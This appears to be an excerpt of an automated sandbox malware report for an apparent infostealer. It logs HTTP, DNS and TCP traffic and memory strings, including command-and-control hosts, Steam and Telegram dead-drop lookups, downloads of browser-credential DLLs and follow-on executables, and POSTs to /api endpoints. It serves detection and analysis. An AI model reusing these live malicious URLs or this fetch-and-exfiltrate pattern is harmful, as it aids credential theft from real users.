Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: chaptermusu.store

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_00406963

Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2ae906657_snd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2afc5abea_vasd.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fa2b049020f_ldnf.exe HTTP/1.1Host: files.veritas.org.ngCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: urusvisa.com
Source: global traffic	DNS traffic detected: DNS query: files.veritas.org.ng
Source: global traffic	DNS traffic detected: DNS query: possiwreeste.site
Source: global traffic	DNS traffic detected: DNS query: famikyjdiag.site
Source: global traffic	DNS traffic detected: DNS query: commandejorsk.site
Source: global traffic	DNS traffic detected: DNS query: underlinemdsj.site
Source: global traffic	DNS traffic detected: DNS query: bellykmrebk.site
Source: global traffic	DNS traffic detected: DNS query: agentyanlark.site
Source: global traffic	DNS traffic detected: DNS query: writekdmsnu.site
Source: global traffic	DNS traffic detected: DNS query: delaylacedmn.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: chaptermusu.store
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: underlinemdsj.site

Source: RegAsm.exe, 0000001B.00000002.2762920375.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Http://urusvisa.com:80/sql.dllFgqacPdLggz.exe
Source: RegAsm.exe, 00000012.00000002.3023059126.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllU
Source: RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dllM
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php(w
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-ms
Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php=
Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpLxSt
Source: RegAsm.exe, 00000012.00000002.3023059126.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpexe
Source: RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpngPreference.Verb
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpq
Source: RegAsm.exe, 00000012.00000002.3023059126.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109s
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.GHCAAKEBKECB
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.EBKECB
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.2595193937.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/G
Source: RegAsm.exe, 00000003.00000002.2595193937.000000000148A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/N
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgECB
Source: file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoKEBKECB
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exeD
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exeG
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exeata;
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exef
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exe
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exe2
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exe=
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exeX
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exeta;
Source: RegAsm.exe, 00000012.00000002.3023059126.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe%
Source: RegAsm.exe, 00000012.00000002.3023059126.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe00Start4
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe1kkkk1253403http://files.veritas.org.ng/ldms/
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe6
Source: RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe?9
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exeG
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exei
Source: RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exeta;
Source: RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exez
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.2585204810.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.2585204810.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
